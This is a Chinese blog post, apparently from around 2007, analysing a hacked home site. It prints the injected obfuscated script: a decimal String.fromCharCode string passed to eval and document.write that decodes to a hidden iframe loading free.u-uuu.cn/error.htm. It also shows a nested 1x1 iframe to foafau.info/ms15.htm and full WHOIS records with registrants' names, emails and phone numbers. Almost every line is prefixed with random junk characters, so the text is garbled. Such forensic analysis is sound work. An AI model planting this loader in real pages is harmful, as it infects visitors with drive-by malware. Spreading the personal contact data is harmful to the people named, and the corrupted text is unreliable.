首发在我的博客里面，
uPtS.j= B>W! RyH8o http://www.areway.cn/?p=175 2s:$4]K D >0qe*4n|M G8_|w6 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
$N)b6(}F10 O* 7` Waag <script>t=’60,105,102,114,97,109,101,
Vy[ m%sEP 32,115,114,99,61,104,116,116,112,58,47,47,
-|~tZuf 102,114,101,101,46,117,45,117,117,117,46,99,
,BG
L|5?3z 110,47,101,114,114,111,114,46,104,116,109,
9N]V F' 32,119,105,100,116,104,61,49,48,48,32,104,
2DTBL:?` 101,105,103,104,116,61,48,62,60,47,105,102,
:IlJQ{=W 114,97,109,101,62′;
^J Y]w^u t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
73OYHp_j 42mZ.,< <script>t=’60,105,102,114,97,109,101,32,115,
uKocEWB=/F 114,99,61,104,116,116,112,58,47,47,102,114,
H '(Ky 101,101,46,117,45,117,117,117,46,99,110,47,
Bys _8x} 101,114,114,111,114,46,104,116,109,32,119,
1Qz1 Ehz> 105,100,116,104,61,49,48,48,32,104,101,105,
CERT`W%o 103,104,116,61,48,62,60,47,105,102,114,97,
s>^$: wzu 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
!q_fcd^c document.write(t);</script>
3A.T_mGCs {y
k0Zef_ <html xmlns=”
jh&WL http://www.w3.org/1999/xhtml L
H`z '7&/ “>
KnuQ 5\y <head>
Fz4g:8qdA <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
KcQe1mT!+ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
K-b'jP\ <title>首页 - 爱生活家庭网
-<tfbaA 'u{DFMB-A 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
,HLgb}~ 转换字符串后的大概内容是（谁点击后果自付）：
_Y gvLz
% <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
Fb{kql= E|fQbkfw 查询玉米u-uuu.cn的详细信息：
m@){@i2. Domain Name: u-uuu.cn
<ny)yK ROID: 20070901s10001s64972306-cn
!3'&_vmG$ Domain Status: ok
@(m Xi K Registrant Organization: 王雷
`<:D.9vO " Registrant Name: 王雷
ZeyA bo Administrative Email:
czlovexs@126.com %VD>S Sponsoring Registrar: 北京万网志成科技有限公司
^|1)6P}6 Name Server:ns.yovole.com
0'9z XJ" Name Server:ns1.yovole.com
5E!G Registration Date: 2007-09-01 17:54
oj1,DU Expiration Date: 2008-09-01 17:54
H(T Y. 最后PING了一下地址 都没有什么….
]TmxCTV L !:^lTvYWZH 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
z3 :tSjF <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
e ):rr* <script language=”javascript” src=”
B:Xmc,|, http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script CgO&z<A!& >
M '4$z^@Z 这个玉米应该有可能是木马作者的：
qJZ5w } foafau.info的详细信息：
7p Y7iR_ Access to INFO WHOIS information is provided to assist persons in
D8''q% determining the contents of a domain name registration record in the
V
2WcPI^ Afilias registry database. The data in this record is provided by
*To 5\| Afilias Limited for informational purposes only, and Afilias does not
(;@\gRL guarantee its accuracy. This service is intended only for query-based
E5J2=xVW# access. You agree that you will use this data only for lawful purposes
8XU m. nV and that, under no circumstances will you use this data to: (a) allow,
V=v7<I=] enable, or otherwise support the transmission by e-mail, telephone, or
'sCj|=y2Qc facsimile of mass unsolicited, commercial advertising or solicitations
c$>$2[*= to entities other than the data recipient’s own existing customers; or
AGdFJ>/ (b) enable high volume, automated, electronic processes that send
,y5 7tY queries or data to the systems of Registry Operator, a Registrar, or
jw"]U jub Afilias except as reasonably necessary to register domain names or
|4@su"OA modify existing registrations. All rights reserved. Afilias reserves
c)tG1|Og] the right to modify these terms at any time. By submitting this query,
# , KjJ you agree to abide by this policy.
71# ipZ Domain ID:D22418703-LRMS
Lh(` 9(tX Domain Name:FOAFAU.INFO
cj!Ew}o40D Created On:20-Nov-2007 16:05:42 UTC
XPt<k&o1, Last Updated On:20-Nov-2007 16:05:44 UTC
Do&/+Ssnu Expiration Date:20-Nov-2008 16:05:42 UTC
PnKgUJoa0 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
&~ xzp^& Status:CLIENT DELETE PROHIBITED
Tl9; KE| Status:CLIENT RENEW PROHIBITED
D^5bzZk
N Status:CLIENT TRANSFER PROHIBITED
6HW8mXQh<h Status:CLIENT UPDATE PROHIBITED
4/Yk;X[jk Status:TRANSFER PROHIBITED
]8qFxJ+2^ Registrant ID:GODA-040110615
eBmBD"$ Registrant Name:liu hong
hZ obFf Registrant Organization:
G-)Q*p{i| Registrant Street1:beijing
C& QT-| Registrant Street2:
[0(+E2/:2 Registrant Street3:
o=1M<dL Registrant City:beijing
6?3f+=e"~! Registrant State/Province:
=V@5W[bV Registrant Postal Code:100000
`;9Z?]}` Registrant Country:CN
1 %nE Registrant Phone:+86.860108888777
q)ns ui( Registrant Phone Ext.:
jd]YKaI Registrant FAX:
x]Nk T Registrant FAX Ext.:
`bJ+r)+5 Registrant Email:bbbshiji@163.com
& bwhD.:= Admin ID:GODA-240110615
w)hH8jx{ Admin Name:liu hong
8"zFTP*;u Admin Organization:
H.HXwN/x Admin Street1:beijing
>2[\WF*"X Admin Street2:
&z@~n Admin Street3:
=wEqI)Td Admin City:beijing
V u/{Hr Admin State/Province:
C#r1zr6 Admin Postal Code:100000
Y|NANjEAfm Admin Country:CN
J\BTrN 7 Admin Phone:+86.860108888777
;e>pu"# Admin Phone Ext.:
o-))R| ~z Admin FAX:
e7( iMe Admin FAX Ext.:
OUd&fUmH Admin Email:bbbshiji@163.com
DO #!ce Billing ID:GODA-340110615
f+/A D Billing Name:liu hong
|M j2lZS Billing Organization:
R3;,EL{H& Billing Street1:beijing
FG^ Jh5 Billing Street2:
fR& ;E Billing Street3:
6 ,707h Billing City:beijing
b 6FC Billing State/Province:
` n *e8T Billing Postal Code:100000
<Oi65O_X Billing Country:CN
%q~YJ*\ Billing Phone:+86.860108888777
e-Xr^@M*Q Billing Phone Ext.:
=peodj^ Billing FAX:
fr\"MP Billing FAX Ext.:
^4WNP Billing Email:bbbshiji@163.com
{!lC$ SlJ Tech ID:GODA-140110615
w$X"E*~>8 Tech Name:liu hong
DcO$&)Eb Tech Organization:
Y -Zw' Tech Street1:beijing
L*Gk1' Tech Street2:
<}@*i Tech Street3:
XA & Vtgu Tech City:beijing
oV)#s! Tech State/Province:
R d?8LLz Tech Postal Code:100000
, : I:F Tech Country:CN
zPonG
d1 Tech Phone:+86.860108888777
LRJY63A Tech Phone Ext.:
Md4hd#z Tech FAX:
HinPO Tech FAX Ext.:
o_.f7|U ! Tech Email:bbbshiji@163.com
Z#O )0ou Name Server:NS27.DOMAINCONTROL.COM
;
S(KJV Name Server:NS28.DOMAINCONTROL.COM
b"lzR[X,e Name Server:
UP18?uM Name Server:
T\(w} Name Server:
A)2eo<ij4 Name Server:
Ej\M e Name Server:
_M;n.?H
Name Server:
;.O#|Z[ Name Server:
CNo'qlvF5N Name Server:
qT<OiIMj^ Name Server:
Q"6:W2#v Name Server:
S2TyNZbQ Name Server:
Yq 6e=?- <sALA~p|0 接着下载每个文件里面的代码：
7Rba@ cs9 一步一步看..
A#yZh\# 
|6cz r 
PQ u_]cXI 
Ix-bJE6+I, 
> FVBn;1 
{D c{e5K 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
